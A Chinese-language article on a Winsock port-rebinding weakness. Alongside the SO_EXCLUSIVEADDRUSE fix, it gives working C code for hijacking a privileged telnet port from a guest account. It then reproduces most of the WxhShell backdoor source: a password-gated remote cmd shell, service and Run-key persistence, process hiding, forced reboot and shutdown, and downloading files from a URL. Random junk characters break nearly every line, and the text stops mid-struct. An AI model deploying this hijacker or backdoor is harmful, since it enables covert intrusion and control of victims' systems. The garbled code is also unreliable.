在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Cab-:2L] s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
+-tFg XG Cl'$*h saddr.sin_family = AF_INET;
]x)!Kd2> rC@VMe|0 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
pZ8J\4+ NU=2*gM bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
rp\`uj*D }etdXO_^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
+iQ@J+k
k, N{ 这意味着什么?意味着可以进行如下的攻击:
g$]WKy(D t]I9[5Pq\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
kq X=3Zo np2&W'C/i 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
p2Khfl6- *AV%= 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
mr7Oi `dE D>k(#vYKB 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
XQ~Xls%]
z~2{`pET 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
W=HvMD XaCvBQ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
A6[FH\f 3IRur,|' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
OxDqLX .xqi7vVHZ #include
nA0%M1a #include
;8oe-xS\+ #include
X$KTsG* #include
%|JiFDjp DWORD WINAPI ClientThread(LPVOID lpParam);
JPF6zzl) int main()
*rTg>) {
#czTX%+9(e WORD wVersionRequested;
hDi~{rbmc DWORD ret;
3Ewdu WSADATA wsaData;
O?g;Ny BOOL val;
@%fTdneH SOCKADDR_IN saddr;
T9R#.y, SOCKADDR_IN scaddr;
.K84"Gdx int err;
lrZ]c:%k SOCKET s;
:%&
E58 SOCKET sc;
-TVwoK int caddsize;
I;Mm +5A HANDLE mt;
)Xqjl DWORD tid;
g*a+$' wVersionRequested = MAKEWORD( 2, 2 );
O*v&CHd3 err = WSAStartup( wVersionRequested, &wsaData );
vyDxX if ( err != 0 ) {
.v(GVkE} printf("error!WSAStartup failed!\n");
wH8J?j"5> return -1;
,=\.L_' }
MrzD
ah9UG saddr.sin_family = AF_INET;
T^Ia^B-%}g Q>D//_TF //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
>SQzE H?O5 "4a saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
6!>p<p"Ns saddr.sin_port = htons(23);
XfE0P(sE if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%SB4_ r*< {
@\nQ{\^; printf("error!socket failed!\n");
7SS#V return -1;
q83^?0WD }
]=t}8H val = TRUE;
u
`/V1 //SO_REUSEADDR选项就是可以实现端口重绑定的
+rU{-`dy9' if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
IDn<5# {
;4!H- qZ printf("error!setsockopt failed!\n");
hYpxkco"4' return -1;
QOEi.b8r }
B!pz0K*uG //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
\}4Y]xjV2 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
)YgntI@ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
3}FZg
w . F oC
$X if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
|;NfH|43; {
S[ !6Lw ret=GetLastError();
1iY4|j;ahV printf("error!bind failed!\n");
9V1d`]tP return -1;
ic`BDkNO }
)Mdddz4 listen(s,2);
#1U> while(1)
]fzXrN_ {
%JrZMs> caddsize = sizeof(scaddr);
}|
MX=:@* //接受连接请求
[hSJ)IZh sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
yVnG+R& if(sc!=INVALID_SOCKET)
k*?T^<c3 {
D&pn@6bB mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
@Pk<3.S0 if(mt==NULL)
B>c$AS\5y {
U2m#BMV printf("Thread Creat Failed!\n");
<c[\\
:Hh* break;
Fc@R,9 }
OY}FtGy }
C0[U}Y/r2 CloseHandle(mt);
OC*28) }
"\EX)u9ze closesocket(s);
Xi%Og\vm5 WSACleanup();
i*/i"W< return 0;
;ZUj2WxE }
Ez~5ax7x DWORD WINAPI ClientThread(LPVOID lpParam)
"7y,d%H {
&*>.u8:r SOCKET ss = (SOCKET)lpParam;
JWd[zJ[ SOCKET sc;
mq[=,,# unsigned char buf[4096];
0Qa0 SOCKADDR_IN saddr;
&PE%tm long num;
Lq5xp< DWORD val;
-y|J_;EG DWORD ret;
)XN%pn //如果是隐藏端口应用的话,可以在此处加一些判断
-B#1+rUW //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
9no<;1+j, saddr.sin_family = AF_INET;
WF`%7A39Af saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
E>s+"y saddr.sin_port = htons(23);
zQulPU if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Zpg;hj5_ {
enJ;#aA printf("error!socket failed!\n");
Qwpni^D8j return -1;
pi"M*$ }
AMjr[!44 @ val = 100;
uX1; if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
={;pg( {
't`h?VvL ret = GetLastError();
86)2\uan return -1;
~g/"p`2-N }
A9b(P[!]T: if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#epbc K {
g6%]uCFB ret = GetLastError();
4+q,[m-$( return -1;
iY/2 `R }
#4mRMsW5" if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
3h:~NL {
jzV"( p! printf("error!socket connect failed!\n");
73rme, closesocket(sc);
3[u-
LYW closesocket(ss);
lo>9 \ Po return -1;
F}So=Jz9h }
]6B9\C.2-_ while(1)
b_RO%L:"yL {
neM.M)0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
c`;oV-f //如果是嗅探内容的话,可以再此处进行内容分析和记录
]0* aE //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
IOZw[9](+ num = recv(ss,buf,4096,0);
q6F1Rt if(num>0)
=!q]0# send(sc,buf,num,0);
_jG|kjFTc else if(num==0)
buX(mj:& break;
pF8$83S num = recv(sc,buf,4096,0);
-c&=3O! if(num>0)
9Of;8R send(ss,buf,num,0);
`{!A1xKZ else if(num==0)
Hi={(Z5tC4 break;
]]:K
l }
uX_#NP/2 closesocket(ss);
cEu_p2(7!B closesocket(sc);
>
f X^NX return 0 ;
K +vD&Z^ }
(G>su #ae?#?/" %>Gb]dv? ==========================================================
e#Ao]gc 9<?w9D.1 下边附上一个代码,,WXhSHELL
<&b,%O G,!j P2S ==========================================================
[T r7SU#x Dst;sLr[, #include "stdafx.h"
^WB[uFt- 9f0`HvHC #include <stdio.h>
3R<r[3WP #include <string.h>
`3\U9ZH23 #include <windows.h>
Y9X,2L7V #include <winsock2.h>
E>QS^)ih #include <winsvc.h>
{mD0ug #include <urlmon.h>
Db Qp(W0 2x<BU3 #pragma comment (lib, "Ws2_32.lib")
f?.VVlD #pragma comment (lib, "urlmon.lib")
KX~
uE6rX RL4|!HzR #define MAX_USER 100 // 最大客户端连接数
L;opQ~g #define BUF_SOCK 200 // sock buffer
ra*|HcLD #define KEY_BUFF 255 // 输入 buffer
6<W^T9}v@/ _m?i$5 #define REBOOT 0 // 重启
&6CDIxH{ #define SHUTDOWN 1 // 关机
A[m?^vk q \2 DED #define DEF_PORT 5000 // 监听端口
Ne+Rs+~4 #d % v=.1 #define REG_LEN 16 // 注册表键长度
vxPE=!| #define SVC_LEN 80 // NT服务名长度
?VotIruR /E<Q_/'Z // 从dll定义API
F'[Y.tA ,# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
aQ(P#n>a2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
d3rjj4N"z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
aU;X&g+_) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
S*G^U1Sc+ E|9`J00 // wxhshell配置信息
=)+^ y}xb struct WSCFG {
(.N n|lY<i int ws_port; // 监听端口
12#yHsk char ws_passstr[REG_LEN]; // 口令
@lDnD%vZ` int ws_autoins; // 安装标记, 1=yes 0=no
n>u_>2Ikkj char ws_regname[REG_LEN]; // 注册表键名
9<rs3 84 char ws_svcname[REG_LEN]; // 服务名
]vf_4QW= char ws_svcdisp[SVC_LEN]; // 服务显示名
O<p=&=TD7 char ws_svcdesc[SVC_LEN]; // 服务描述信息
bJMsB|r char ws_passmsg[SVC_LEN]; // 密码输入提示信息
t }4 int ws_downexe; // 下载执行标记, 1=yes 0=no
VE]TT>< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
#L!`n)J" char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Ec<33i]h*p UucX1% };
;v]C8 }L^ ROTKK8:+: // default Wxhshell configuration
FFZ?-sE struct WSCFG wscfg={DEF_PORT,
[O\)R[J "xuhuanlingzhe",
iuWUr?`\ 1,
b&yuy "Wxhshell",
0Md.3kY "Wxhshell",
%m6qL "WxhShell Service",
1@I#Fv "Wrsky Windows CmdShell Service",
#Db^* "Please Input Your Password: ",
VM5'd 1,
VTL_I^p "
http://www.wrsky.com/wxhshell.exe",
U:~]>B $ "Wxhshell.exe"
r[ k };
<[ dt2)%L> " TCJT390 // 消息定义模块
/D9#v1b char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
_}47U7s8 char *msg_ws_prompt="\n\r? for help\n\r#>";
jl}9R]Y_2 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
J1(SL~e], char *msg_ws_ext="\n\rExit.";
~c v|, char *msg_ws_end="\n\rQuit.";
Y!]a*== char *msg_ws_boot="\n\rReboot...";
}8 ;,2E*z char *msg_ws_poff="\n\rShutdown...";
=k d-rIBc char *msg_ws_down="\n\rSave to ";
pFd{Tdh 91R7Rrne char *msg_ws_err="\n\rErr!";
.7
j#F char *msg_ws_ok="\n\rOK!";
uDG>m7(}/h Fp?M@ char ExeFile[MAX_PATH];
38-kl,Vw int nUser = 0;
@>VX]Qe^X HANDLE handles[MAX_USER];
zK~_e\m int OsIsNt;
!lg_zAV e%:vLE
9 SERVICE_STATUS serviceStatus;
Heqr1btK SERVICE_STATUS_HANDLE hServiceStatusHandle;
PSAEW.L .I|b9$V // 函数声明
vO?sHh int Install(void);
Zt41f PQ int Uninstall(void);
/kr|}`#
Z int DownloadFile(char *sURL, SOCKET wsh);
[H!do$[> int Boot(int flag);
@P0rNO%y void HideProc(void);
V G7#C@>Z int GetOsVer(void);
vt"bB int Wxhshell(SOCKET wsl);
&to~#.qc void TalkWithClient(void *cs);
b"o\-iUioe int CmdShell(SOCKET sock);
I3.JAoB>! int StartFromService(void);
fif'ptK int StartWxhshell(LPSTR lpCmdLine);
a'HHUii= 3bGU;2~} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
/AX)n:, VOID WINAPI NTServiceHandler( DWORD fdwControl );
;xh.95BP` Cs"ivET // 数据结构和表定义
gZ>&cju SERVICE_TABLE_ENTRY DispatchTable[] =
n=DmdQ} {
#(}{*dR {wscfg.ws_svcname, NTServiceMain},
p:tp|/ {NULL, NULL}
'Kmf6iK>[ };
{pXX%> cfBlHeYE // 自我安装
%t* 9sh int Install(void)
JI-.SR {
pdN8hJ char svExeFile[MAX_PATH];
MsIaMW _ HKEY key;
bly `mp8# strcpy(svExeFile,ExeFile);
D)4#AI n|.eL8lX.< // 如果是win9x系统,修改注册表设为自启动
:Id8N~g if(!OsIsNt) {
.+8#&Uy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^Q0=Ggh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`:ZaT('h RegCloseKey(key);
mV}8s]29 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_o?aO C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
t#f-3zd9 RegCloseKey(key);
w"kBAi& return 0;
`v(!IBP| }
:zIB3nT^ }
JC$_Pg! }
|w~*p
N0 else {
(:H4 M?sTz@tqq // 如果是NT以上系统,安装为系统服务
wE9z@\z] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
R'_F9\ if (schSCManager!=0)
m/g[9Y {
,Cm1~ExJ SC_HANDLE schService = CreateService
;)f,A)(Z (
m(xyEU schSCManager,
'T|QG@q wscfg.ws_svcname,
u&`rK7J wscfg.ws_svcdisp,
F6DVq8f9 SERVICE_ALL_ACCESS,
d@ZXCiA}, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
/55 3v;l< SERVICE_AUTO_START,
=yJc pj SERVICE_ERROR_NORMAL,
|P9Mhf N svExeFile,
;l `(1Q/ NULL,
!*qQ7 NULL,
c.-dwz NULL,
6~!7?FK NULL,
"_rpErm
} NULL
^Kl<<pUaV );
yJ; ;& if (schService!=0)
[BKTZQ@G@ {
DM)Re~* CloseServiceHandle(schService);
Qdc#v\B CloseServiceHandle(schSCManager);
h|z59h&X8G strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
+*qTZIXj strcat(svExeFile,wscfg.ws_svcname);
Y,4?>:39J if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
K.? S,qg RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
{A MAQ RegCloseKey(key);
A$zC$9{0I return 0;
?$\sMkn }
PEtr8J$uB }
5}9rpN{y CloseServiceHandle(schSCManager);
$ JCOL }
qMqf7 . }
44B9JA7u [--] ?Dr return 1;
}vF=XA }
p7Yb8#XfU +q432ZG // 自我卸载
KAT^v bR int Uninstall(void)
Hnvs{KC` {
KAy uv HKEY key;
/T&+vzCF 4kNSF if(!OsIsNt) {
^!(tc=sr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Q;z'"P RegDeleteValue(key,wscfg.ws_regname);
)Y1+F,C RegCloseKey(key);
,I f9w$(z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
W\ARCcTQ RegDeleteValue(key,wscfg.ws_regname);
(H|^Ow5 RegCloseKey(key);
eg"!.ol return 0;
Co<F<eXe }
B]#iZ,Tp }
#@M'*X_%}K }
51s 3hX$ else {
dlV HyCW TPKm>5g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
!1+!;R@&H> if (schSCManager!=0)
Pf<BQ*n {
n3hlo@gYW SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
8\`otJY if (schService!=0)
*U,W4>(B {
S }G3h a if(DeleteService(schService)!=0) {
1[?xf4EMG CloseServiceHandle(schService);
bFIv}c+; CloseServiceHandle(schSCManager);
j4D`Xq2X return 0;
Zr!CT5C5 }
{`% q0Nr CloseServiceHandle(schService);
y2x)<.cDP }
y[f6J3/ CloseServiceHandle(schSCManager);
wqQrby< }
rY=dNK]d }
\z-OJ1[F R|7_iMIZ return 1;
]<o^Q[OL }
d+7Dy3i|g= PrEfJ? // 从指定url下载文件
sGbk4g int DownloadFile(char *sURL, SOCKET wsh)
tjDCfJx* {
w}(Ht_6q{ HRESULT hr;
}~NWOJ3; char seps[]= "/";
{0} Q5 char *token;
R8u9tTW char *file;
7/c9azmC char myURL[MAX_PATH];
J#k.!]r,Y char myFILE[MAX_PATH];
S\118TpD <:0d%YB) strcpy(myURL,sURL);
lz0'E'%{P token=strtok(myURL,seps);
EK^["_*A while(token!=NULL)
u6p
nO {
V34]5 file=token;
EDGAaN*Q token=strtok(NULL,seps);
v<S?"#
]F= }
+JBYGYN&K b@N*W] GetCurrentDirectory(MAX_PATH,myFILE);
bdyE9t strcat(myFILE, "\\");
HNL;s5gq strcat(myFILE, file);
P/~kX_ send(wsh,myFILE,strlen(myFILE),0);
8IihG
\ send(wsh,"...",3,0);
zJtB?< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
~VO?P fxZ if(hr==S_OK)
:e TzjW= return 0;
'ul~f$
V else
(L8z<id<z return 1;
O(44Dy@2 JclG*/Wjg4 }
zlN<yZB^ 9y&&6r<I // 系统电源模块
#-FfyxQ8ai int Boot(int flag)
E\=23[0 {
C'//(gjQ-G HANDLE hToken;
Vbpt?1: TOKEN_PRIVILEGES tkp;
zF=E5TL-,4 Ru^j~Cj5 if(OsIsNt) {
<-a6'g2y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
-MH~1Tw6Z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
9iQc\@eGd tkp.PrivilegeCount = 1;
rXg#_c5j tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
b+ v!3| AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
J*'#!
xIa if(flag==REBOOT) {
"( P-VX if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
D4CiB"g3* return 0;
:k.C|V!W }
7<3eB)S else {
UZRCJ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
C{Er% return 0;
O'<cEv'B* }
g_t1(g*s }
roG f
& else {
n g?kl|VG if(flag==REBOOT) {
_0]{kB.$_ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
B[6y2+6$0 return 0;
.6nNqGua1 }
C
Ejf&n else {
=^A/&[&31 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
z>./lu\ return 0;
+oMe\wYR$r }
LTc=D }
XDrNc!XN s+yX82Y return 1;
} h0
) }
O
E56J-*}x 7|eD}=jy // win9x进程隐藏模块
^qlfdf void HideProc(void)
5PU$D`7it {
/SDDCZ`;|c h,C?%H+/0Q HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
wst)O{ 4 if ( hKernel != NULL )
ir*T,O
2J {
s9-aPcA pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ROB/#Td ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
4chSo.= 4V FreeLibrary(hKernel);
KD5} Nk)t }
(qM(~4|` =W~K_jE5lo return;
w %sHA }
tag~SG`ov /*8Ms` // 获取操作系统版本
r6*~WM|Sq7 int GetOsVer(void)
d,9YrwbD {
)cX6o[oia OSVERSIONINFO winfo;
=5sUpPV( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
tu6Q7CjW8 GetVersionEx(&winfo);
Q]}aZ4L if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
d;D8$q)8Q return 1;
h (`Erb else
pK~K>8\ return 0;
|P"p/iY }
U0kEhMIIf ywRwi~ // 客户端句柄模块
aN5 w int Wxhshell(SOCKET wsl)
9"YOj_z {
S%7^7MSqA SOCKET wsh;
BiUOjQC# struct sockaddr_in client;
_g(4-\ DWORD myID;
&_EjP
hZ @Gj|X>0 while(nUser<MAX_USER)
MQv2C@K9F {
iYJzSVO int nSize=sizeof(client);
do:3aP'S, wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
62X;gb if(wsh==INVALID_SOCKET) return 1;
ag$mc8-p[ 6(`Bl$M9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
dm&vLQVS if(handles[nUser]==0)
7]~65@%R-& closesocket(wsh);
)"IBw0] else
pv2u.qg5z nUser++;
mGmkeD' }
XY;cz WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
k2xOu9ncEj 8W|qm;J98 return 0;
|lijnfp }
: _>/Yd7-& b'N(eka // 关闭 socket
9Xg+$/ void CloseIt(SOCKET wsh)
m};Qng] {
'o#ve72z1 closesocket(wsh);
D#T1~r4 nUser--;
P2S$Dk_<\X ExitThread(0);
#UcqKq }
+([
iCL CmNd0S4v // 客户端请求句柄
NiwJ$Ah~X void TalkWithClient(void *cs)
#O<2wMb2< {
gt9{u"o luyU! SOCKET wsh=(SOCKET)cs;
6Y|jK<n?H char pwd[SVC_LEN];
",\,lqV char cmd[KEY_BUFF];
4$+9Wv char chr[1];
FBYAd@="2 int i,j;
RQZ|:SvV F;mK)Q- while (nUser < MAX_USER) {
}?pY~f sz' IGy% if(wscfg.ws_passstr) {
KMxP%dV/= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"YUyM5X //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
IQFt4{aK3 //ZeroMemory(pwd,KEY_BUFF);
j7vp@l6`L i=0;
L+}q !'8S while(i<SVC_LEN) {
ab 1qcQ< EPQ~V // 设置超时
l;I)$=={= fd_set FdRead;
6O^'J~wiI struct timeval TimeOut;
t$sL6|Ww}o FD_ZERO(&FdRead);
(Z
YGfX FD_SET(wsh,&FdRead);
Cc?BJ TimeOut.tv_sec=8;
)19As8rL/o TimeOut.tv_usec=0;
LV'@JFT- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
9Se7
1
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
X`d d"8% |=7ouFl if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
2l)J,z
pwd
=chr[0]; K +oFu%
if(chr[0]==0xd || chr[0]==0xa) { S+Aq0B<
pwd=0; o5(p&:1M
break; O'~c;vBI
} .:KZ8'g3}
i++; g.v)qB
} nwk66o:|
>9o(84AxIH
// 如果是非法用户,关闭 socket /qW5M4.w
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 17Q1Xa
} }U=|{@%
q$$:<*Uy
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e>-a\g
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fX,L;Se"
6B)3SC
while(1) { }E 5oa\1u
`.f
{V
ZeroMemory(cmd,KEY_BUFF); |fMjg'%{}
c5K@<=?,E
// 自动支持客户端 telnet标准 :/N/u5.]
j=0; EK^B=)q6:W
while(j<KEY_BUFF) { ;- D1n
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
bwjjwu&
cmd[j]=chr[0]; 3@ a
if(chr[0]==0xa || chr[0]==0xd) { /P*mF^Y
cmd[j]=0; VZ?"yUZ Id
break; oyGO!j
} N;XaK+_2F
j++; UXz0HRRS0
} B!|<<;Da6
~c>* 3*
// 下载文件 -jc8ku3*
if(strstr(cmd,"http://")) { (3YI> /#
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^`Tns6u>
if(DownloadFile(cmd,wsh)) ~c~$2Xo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PiD%PBmUl
else HH>"J/;c,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cTO\Vhg
} rO]7g
else { ;-=Q6Ms8
vc.:du
switch(cmd[0]) { -2}-;|
lW^bn(_gQ
// 帮助 \Kph?l9Ww
case '?': { j';V(ZY&BB
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D-8NDa(`
break; P"dWh;I_
} 5"4O_JQ
// 安装 5T?esF<
case 'i': { MTZbRi6z
if(Install()) R;9H`L/>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hlPZTr=a
else 9Foo8e
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )D
^.{70N
break; XeD9RMT
} q2* G86
// 卸载 ^qL2Q*
case 'r': { }]1=?:tX%
if(Uninstall()) 2Y~6~*8*~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wYtL1D(
else `=A*ei5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c+l1#[Dnc
break; DPuz'e*
} *={`
%
// 显示 wxhshell 所在路径 hLyD#XCFA
case 'p': { 6Q<^,`/T
char svExeFile[MAX_PATH]; [AzQP!gi
strcpy(svExeFile,"\n\r"); i{8T 8
strcat(svExeFile,ExeFile); r<]Db&k
send(wsh,svExeFile,strlen(svExeFile),0); M)Iu'
break; O) ks
} 6"^Yn.
// 重启 \Q+9sV
5,[
case 'b': { 808E)
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,3_;JT"5
if(Boot(REBOOT)) R:zPU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +NGjDa
else { acuch
closesocket(wsh); (pBOv:6
ExitThread(0); i"=6n>\
} 1O
bxQ_x
break; x`@!hJc:[e
} Lpw9hj|
// 关机 D}|PBR
case 'd': { #s JE{Tb
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7cx~?xk <m
if(Boot(SHUTDOWN)) "(y",!U@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -TKS`,#
else { 1JIL6w_
closesocket(wsh); ("{JNA/
ExitThread(0); <vx/pH)f
} rrK&XP&
break; f, 9jK9/$
} (~F{c0\C
// 获取shell O5HK2Xg,C
case 's': { fY@Y$S`Fh
CmdShell(wsh); yjZ]_.
closesocket(wsh); p<1z!`!P
ExitThread(0); _@CY_`a
break; ;Ee!vqD2
} u.(
WW(/N
// 退出 QFOmnbJg
case 'x': { 5mB%Xh;bg
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #L}YZ
CloseIt(wsh); |;2Y|>=
break; 5urM,1SQ@
} wjk-$p
// 离开 sS 5 ]d8
case 'q': { )3<|<jwcx
send(wsh,msg_ws_end,strlen(msg_ws_end),0); EL!V\J`S_
closesocket(wsh); DA)+)PhY7K
WSACleanup(); Q3MG+@) S
exit(1); D"o}X TH
break; y=i_:d0M
} Bw-<xwD
} T'9I&h%\
} yX%T-/XJ
.<zW(PW
// 提示信息 KK;3<kX
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y6.}h9~
} K;jV"R<9
} WF0%zxg ]
CZB!vh0
return; Qs2E>C
} yidUtSv=,
FQdz":5
// shell模块句柄 O9OD[VZk
int CmdShell(SOCKET sock) DSG tt/n
{ WAPN,WuW
STARTUPINFO si; :.kc1_veYS
ZeroMemory(&si,sizeof(si)); (_G&S~@.
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;h[p "
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oh+Q}Fa:
PROCESS_INFORMATION ProcessInfo; 32!jF}qpD
char cmdline[]="cmd"; V@gweci
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F"2v5F@
return 0; mdxa^#w
} 1e`/N+6u
x`8rR;N!
// 自身启动模式 H..g2;D
int StartFromService(void) P3|_RHIb
{ 5/j7 C>
typedef struct hwF9LD~^
{ UhuEE
DWORD ExitStatus; b%`^KEvwfo
DWORD PebBaseAddress; U M$\{$
